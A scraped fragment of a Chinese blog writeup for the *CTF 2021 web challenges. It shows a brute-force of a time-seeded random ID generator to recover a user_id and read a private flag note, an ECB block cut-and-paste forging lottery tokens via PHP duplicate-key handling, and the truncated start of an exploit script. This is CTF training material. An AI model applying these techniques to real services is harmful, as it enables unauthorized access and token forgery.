gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/"},{"title":"*CTF 2021 Web部分 Writeup","time":"2021-01-18T07:58:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"oh-my-note\"\u003eoh-my-note\u003c/h2\u003e\u003cp\u003e签到题,观察源码:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.route(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;/create_note\u0026#39;\u003c/span\u003e, methods=[\u003cspan class=\"string\"\u003e\u0026#39;GET\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e]\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ecreate_note\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e request.method == \u003cspan class=\"string\"\u003e\u0026#34;POST\u0026#34;\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"built_in\"\u003eround\u003c/span\u003e(time.time(), \u003cspan class=\"number\"\u003e4\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e random.seed(timestamp)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user_id = get_random_id()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"built_in\"\u003eround\u003c/span\u003e(time.time(), \u003cspan class=\"number\"\u003e4\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime(\u003cspan class=\"string\"\u003e\u0026#39;%Y-%m-%d %H:%M UTC\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e random.seed(user_id + post_at)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e note_id = get_random_id()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e note = Note(user_id=user_id, note_id=note_id,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e title=title, text=text,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e prv=prv, post_at=post_at)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不难发现可以根据文章发布的时间反推seed拿到对应用户的id\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e datetime\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ets = \u003cspan class=\"number\"\u003e1610677740\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ete = \u003cspan class=\"number\"\u003e1610677800\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etarget = \u003cspan class=\"string\"\u003e\u0026#39;lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e t \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(ts, te):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e9999\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"number\"\u003e0.0001\u003c/span\u003e * i + t\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e random.seed(timestamp)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user = get_random_id()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e time = datetime.datetime.fromtimestamp(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t, tz=datetime.timezone.utc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ).strftime(\u003cspan class=\"string\"\u003e\u0026#39;%Y-%m-%d %H:%M UTC\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e random.seed(user + time)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e post = get_random_id()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e post == target:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(timestamp, user)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e然而比赛的时候作为一个星 际 人,发生了这样的事情:\u003c/p\u003e\u003c/blockquote\u003e\u003cimg src=\"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/chat.png\" class=\"\" title=\"星 际\"/\u003e\u003cp\u003e而后\u003ccode\u003e/my_notes\u003c/code\u003e路由只要利用\u003ccode\u003euser_id\u003c/code\u003e就能列出用户的所有文章\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.route(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;/my_notes\u0026#39;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003emy_notes\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e session.get(\u003cspan class=\"string\"\u003e\u0026#39;username\u0026#39;\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e username = session[\u003cspan class=\"string\"\u003e\u0026#39;username\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user_id = User.query.filter_by(username=username).first().user_id\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user_id = request.args.get(\u003cspan class=\"string\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e user_id:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e redirect(url_for(\u003cspan class=\"string\"\u003e\u0026#39;index\u0026#39;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e看到flag所在文章\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/secret.png\" class=\"\" title=\"flag\"/\u003e\u003ch2 id=\"lottery-again\"\u003elottery again\u003c/h2\u003e\u003cp\u003e题目是用的是ECB,cut and paste again。\u003cbr/\u003e经过尝试,题目所用加密方式块大小为32,将随意一个明文可以如下拆分:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003cspan class=\"attr\"\u003e\u0026#34;lottery\u0026#34;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#34;cf4cfb25-8168-49db-a\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e32f-4bf80e5bc785\u0026#34;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026#34;user\u0026#34;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#34;b61740\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e52-f23a-4dbf-937d-fed3288b8de3\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003e\u0026#34;coin\u0026#34;\u003c/span\u003e:\u003cspan class=\"number\"\u003e1\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好像没什么下手的地方?这时注意到php处理array的一个特性:当有重复键值时,取后扫描到的键值的值\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evar_dump([\u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e=\u0026gt;\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e=\u0026gt;\u003cspan class=\"number\"\u003e2\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// output:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e [\u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e]=\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e回到题目。这类题目一般的思路为:用很多账户购买lottery(或者直接伪造,当然这道题不行,因为要和数据库内的lottery id交叉比对),并用一个账户充值,购买flag。也就是说,加入我们现在有两个lottery,我们需要将其中一个lottery的user段替换成另一个lottery中的user。\u003cbr/\u003e结合php array特性,我们可以将\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth style=\"text-align:left\"\u003eLottery 1\u003c/th\u003e\u003cth style=\"text-align:left\"\u003eLottery 2\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd style=\"text-align:left\"\u003e{“lottery”:“cf4cfb25-8168-49db-a\u003cbr/\u003e32f-4bf80e5bc785”,“user”:“aaaaaa\u003cbr/\u003eaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa”,\u003cbr/\u003e“coin”:1}\u003c/td\u003e\u003ctd style=\"text-align:left\"\u003e{“lottery”:“fbdcf544-07d3-422e-8\u003cbr/\u003e40b-d62a90c9332e”,“user”:“bbbbbb\u003cbr/\u003ebb-bbbb-bbbb-bbbb-bbbbbbbbbbbb”,\u003cbr/\u003e“coin”:2}\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eLottery 1的第三个块替换为Lottery 2的第二、第三块:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003cspan class=\"attr\"\u003e\u0026#34;lottery\u0026#34;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#34;cf4cfb25-8168-49db-a\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e32f-4bf80e5bc785\u0026#34;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026#34;user\u0026#34;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#34;aaaaaa\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e40b-d62a90c9332e\u0026#34;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026#34;user\u0026#34;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#34;bbbbbb\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003ebb-bbbb-bbbb-bbbb-bbbbbbbbbbbb\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003e\u0026#34;coin\u0026#34;\u003c/span\u003e:\u003cspan class=\"number\"\u003e1\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e妙啊\u003c/p\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 完整exploit \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64encode, b64decode\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 